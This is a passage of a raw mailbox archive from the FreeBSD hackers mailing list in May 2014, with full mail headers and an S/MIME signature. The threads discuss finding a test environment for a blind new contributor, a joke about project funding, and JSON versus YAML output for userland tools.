[IPv6:2607:f8b0:4001:c05::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EDDF92151 for ; Fri, 23 May 2014 14:17:38 +0000 (UTC) Received: by mail-ig0-f180.google.com with SMTP id c1so740745igq.1 for ; Fri, 23 May 2014 07:17:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=vj7vEZRB1QEBCyCDw+vLB33zmOza13njTYVHvjHyuHc=; b=TnY5+SEen3qTpav0swN/NJ4oGfc6d17SzFRCcuZgj4Ozw6Jffm4Q0V+KnY+enUG7/I wRdIzBmTot4oCt+9cRBlZ6UhWCMJiKlVL3EtQjLZjcZzDStoU9YVPTejS1RVl4sdGzAT X9eoSbSeEPlzLeKiw9MY0GespRQFZOJKfRfJ0= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=vj7vEZRB1QEBCyCDw+vLB33zmOza13njTYVHvjHyuHc=; b=d+ZTE5ndG+FO/LFEm0N5eXfqBf9EeIUjXeFmsFJpgsGWnQ4Hf0MvF2UyYnVBhxR4PM SZRqB+hrt3Hw2ibz6xkzBwNrFIPvXBnF1JmooTHISkL4XiHSXIApWH1HUqUIvTLYTYNL 4HdIvhfA6LbovpbIknfRM861YWjNbH12KVKajm0p9LaYyvacQ0FZG+/1J+Dls/Qs+OCT P6TrQ/LGjhd4XEc2C3et/tFWQY2LWsRdakPrHMCund46eJGrZH000Kp4BDh/Tzydtwjt 9JPLrGmLe5y+PLeBcx9h+FXX/j0nteKYt8pkEY8kxiz2/UmjuRLxchFRBSMqlIuoDbY6 KJDw== X-Gm-Message-State: ALoCoQnqtaGRl5+tzJ4C3wsw7HQ8LHDF3UusEB6aGpps/Tu7ueePUyzK0WBJtR5zIyGUUJIy4Ues X-Received: by 10.50.109.230 with SMTP id hv6mr4749498igb.9.1400854658157; Fri, 23 May 2014 07:17:38 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id e6sm4421362igq.6.2014.05.23.07.17.36 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 23 May 2014 07:17:36 -0700 (PDT) References: <537EA775.6040601@tysdomain.com> <20140523114739.2a89a9b0@X220.alogt.com> <85255CE8-B2E8-4019-861C-A27903DB2331@dataix.net> <537EE1D9.3070509@tysdomain.com> Mime-Version: 1.0 (1.0) In-Reply-To: <537EE1D9.3070509@tysdomain.com> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-C56C305F-B260-4EBE-9547-5AD4E79B342D; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: <81FDF1E0-2BFD-4F8F-A9AF-532F397E1C2B@dataix.net> X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: looking for a platform for contributions Date: Fri, 23 May 2014 10:17:33 -0400 To: "tyler@tysdomain.com" X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , Erich Dollansky X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 14:17:39 -0000 --Apple-Mail-C56C305F-B260-4EBE-9547-5AD4E79B342D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable I just did a quick few minute lookup and came across this article by VMWare t= hat it seems you can import virtual box appliances OVA's http://kb.vmware.com/selfservice/microsites/search.do?language=3Den_US&cmd=3D= displayKC&externalId=3D2053864 On another note last night I was curious as to how long it would take to cre= ate a fresh OVA with FreeBSD 10-STABLE and learned that I am only capable of= creating 32-bit images on that machine unfortunately but fortunately took u= nder 10 minutes to do so. I have a fresh ZFS on root 32-bit OVA appliance if that interests you just l= et me know. Otherwise I think there are probably others that wouldn't mind d= oing the same with a 64-bit one. --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On May 23, 2014, at 1:51, "Littlefield, Tyler" wrote= : >=20 >> On 5/23/2014 12:15 AM, Jason Hellenthal wrote: >> I cant imagine it'd be hard to create a fresh image already installed and= configure for you to start with. Only would need to know what the requireme= nts are. Type of machine and size of the first hard drive. I could and would= be willing to wrap up a 10-STABLE VMDK appliance for virtual box if you'd l= ike at no charge.=20 > Thanks, I'll have to give that a look-see. I'd probably be hosting this on= the IMac since it has all the resources and last I seen, virtualbox would l= iterally crash voiceover (the screen reader on OSX). I'll see if there's som= ething available that would allow me to bypass that. The help would be great= ly appreciated, I'd just like to do the research before you put in the work o= n your end, so I'm not wasting anyone's time. >=20 > Thanks, >> --=20 >> Jason Hellenthal >> Voice: 95.30.17.6/616 >> JJH48-ARIN >>=20 >> On May 22, 2014, at 23:47, Erich Dollansky w= rote: >>=20 >>> Hi, >>>=20 >>> On Thu, 22 May 2014 21:42:13 -0400 >>> "Littlefield, Tyler" wrote: >>>=20 >>>> Hello all: >>>> I have a lot of free time and really wanted to start contributing to >>>> FreeBSD. I have one issue I was hoping someone could help: >>>> I am blind and am currently using a Soyoustart server for my main >>>> server after transitioning. I am currently a bit lost in terms of >>>> actually getting running with a bsd system. I obviously don't have >>>> the money to pay for a new dedicated server; are there reasonable >>>> hosts where I can just quickly reinstall BSD so I can test/etc? >>>> Obviously price is an issue. If not, is there a good resource where I >>>> can get a vmware VM that's already set up with 10/ssh or something >>>> similar? My only limitation right now is just getting something >>>> installed so I'm not "testing" on my stable server. >>> I use a simple thumb drive for testing when needed. The normal work is >>> done via the hard disk but the test installations are always done on a >>> removable media. >>>=20 >>> Would this be of help for you? >>>=20 >>> Erich >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.or= g" >=20 >=20 > --=20 > Take care, > Ty > http://tds-solutions.net > He that will not reason is a bigot; he that cannot reason is a fool; he th= at dares not reason is a slave. --Apple-Mail-C56C305F-B260-4EBE-9547-5AD4E79B342D Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 0EGu8jBkBgNVHR8EXTBbMCygKqAohiZodHRwOi8vY2VydC5zdGFydGNvbS5vcmcvc2ZzY2EtY3Js LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDUyMzE0MTczNFowIwYJKoZIhvcN AQkEMRYEFFUKfFjyBFN8HIWqb7FU6TlPQg3UMIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEAi9hJFlYfX9OGzevAb7oI YN9SElCSta4+RoLJfHv10JroX5Ug4aJ7MvD2/ovZLmI0U6068BWPgoZX3Vg/PFxoezdt3jBwQmZ/ 7IEbOC5qiIkxKe9fCdGyXsCqSLeBz0nuEW9KyFiSVJH0eCgvQhmsWa399XzBzSeZZPxRESwz8I7v rZ0x6rQ5oZqG4ZCqjZGGvSeNPsGIhk+pvdBsa7zU/fkbLsAasnOWOrfxQFwSSLdcBW9KqV9qZnhd /Aes5u+TEGSPdoptooH4p+w9kUBadWB+BekGghZiMyNnBKkgCN9CiS1FcA6NAdKQezmxVjAXy3YP enk3QnQQjP3LtIkJfwAAAAAAAA== --Apple-Mail-C56C305F-B260-4EBE-9547-5AD4E79B342D-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 14:29:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25AAAFE for ; Fri, 23 May 2014 14:29:35 +0000 (UTC) Received: from esa-jnhn.mail.uoguelph.ca (esa-jnhn.mail.uoguelph.ca [131.104.91.44]) by mx1.freebsd.org (Postfix) with ESMTP id DF6DF2279 for ; Fri, 23 May 2014 14:29:34 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqYEAM7aa1ODaFve/2dsb2JhbABZg1VYgme7PoZrUQGBKXSCJQEBAQQBAQEgKyALGw4KAgINGQIpAQkmBggHBAEcBIggDat2pDoXgSqMVwEBGwEzB4J0gUsElluEGZE/g1IhNYEEOQ X-IronPort-AV: E=Sophos;i="4.98,893,1392181200"; d="scan'208";a="124146775" Received: from muskoka.cs.uoguelph.ca (HELO zcs3.mail.uoguelph.ca) ([131.104.91.222]) by esa-jnhn.mail.uoguelph.ca with ESMTP; 23 May 2014 10:29:28 -0400 Received: from zcs3.mail.uoguelph.ca (localhost.localdomain [127.0.0.1]) by zcs3.mail.uoguelph.ca (Postfix) with ESMTP id 8B04AB3F1D; Fri, 23 May 2014 10:29:27 -0400 (EDT) Date: Fri, 23 May 2014 10:29:27 -0400 (EDT) From: Rick Macklem To: Wojciech Puchar Message-ID: <1541434846.5938426.1400855367539.JavaMail.root@uoguelph.ca> In-Reply-To: Subject: Re: who pay for such webpages? MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [172.17.91.209] X-Mailer: Zimbra 7.2.6_GA_2926 (ZimbraWebClient - FF3.0 (Win)/7.2.6_GA_2926) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 14:29:35 -0000 Wojciech Pushar wrote: > http://aboutthebsds.wordpress.com/ >=20 Well, I wish this snippet from it was true, but I haven't experienced it: (By the way, it=E2=80=99s worth nothing that the majority of funding rec= eived by the FreeBSD project goes into buy beer for the developers).=20 Where's my beer?? rick >=20 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" >=20 From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 15:38:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B6AE29D4 for ; Fri, 23 May 2014 15:38:38 +0000 (UTC) Received: from mail-qg0-f45.google.com (mail-qg0-f45.google.com [209.85.192.45]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 75D992950 for ; Fri, 23 May 2014 15:38:38 +0000 (UTC) Received: by mail-qg0-f45.google.com with SMTP id z60so8094194qgd.4 for ; Fri, 23 May 2014 08:38:31 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=NuFMDS8lC2VH64W0sEQFvMHRzKXx1m8Alo5n7r2IjC0=; b=kWV9dBbuMU6EQcLZLrTVk3j8Rzbwwi7lgQ/yopf4qWxgzIhE6vUO7101z0a2r/WzOA N6u6IEkEZDhKeiPSidmvSdkN6DGCXyCzASw0kY7QlaNf1muZ3TkIFjtkcL8sK3dAASbH ob4nG27OH6IcR7OAdIYS1ETFEsR5CR4lKtDeCFtbVPXXsDgeo4y7XPCxaCarjdznQCDX FZ8Yftqjl3jdCDnwtKT/rYFhcxWUbWC4JcISbRbK9bFwJCfYPewjpEiGobYT2bl3eXfj 4evoKJsyru/F1yXsHR11zAT9NyF6x3OVxXrAWmIS/JPBXzLtlQp7nx0UULiFoogp+H/A G63A== X-Gm-Message-State: ALoCoQnh5RQnZ4oZFq33xZ/aFsnP6fKOgLhLD/ZKy5ETs04hlpWNKClY1Adg7aPvRyJRJTTO6bbN MIME-Version: 1.0 X-Received: by 10.224.13.72 with SMTP id b8mr7905939qaa.4.1400859511154; Fri, 23 May 2014 08:38:31 -0700 (PDT) Received: by 10.229.223.129 with HTTP; Fri, 23 May 2014 08:38:31 -0700 (PDT) Received: by 10.229.223.129 with HTTP; Fri, 23 May 2014 08:38:31 -0700 (PDT) In-Reply-To: <537F11A9.8020504@mu.org> References: <49E9736E-AD14-4647-8B15-30603D01360C@mail.bg> <537F0DD9.6090805@highsecure.ru> <537F11A9.8020504@mu.org> Date: Fri, 23 May 2014 08:38:31 -0700 Message-ID: Subject: Re: [GSoC] Machine readable output from userland utilities From: Jos Backus To: Alfred Perlstein Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 May 2014 15:38:38 -0000 On May 23, 2014 2:15 AM, "Alfred Perlstein" wrote >point to note is that the intent is to have an output that is very consumable by modern scripting languages and modules. That would very likely be JSON output. > > -Alfred I'd actually prefer YAML output. YAML is a much more expressive superset of JSON (YAML parsers can read JSON), but given that VHS beat out BetaMax, I fully expect JSON to win, and YAML to fade into oblivion. Sad. Jos From owner-freebsd-hackers@FreeBSD.ORG Fri May 23 16:02:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B5861E1 for ; Fri, 23 May 2014 16:02:19 +0000 (UTC) Received: from mail-we0-x232.google.com (mail-we0-x232.google.com [IPv6:2a00:1450:400c:c03::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B9FAD2C23 for ; Fri, 23 May 2014 16:02:18 +0000 (UTC) Received: by mail-we0-f178.google.com with SMTP id u56so4957013wes.23 for ; Fri, 23 May 2014 09:02:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=9cpsGVn2Qkqxjhi6S90pVOtU6OrmZHebtwCTZxZaBeA=; 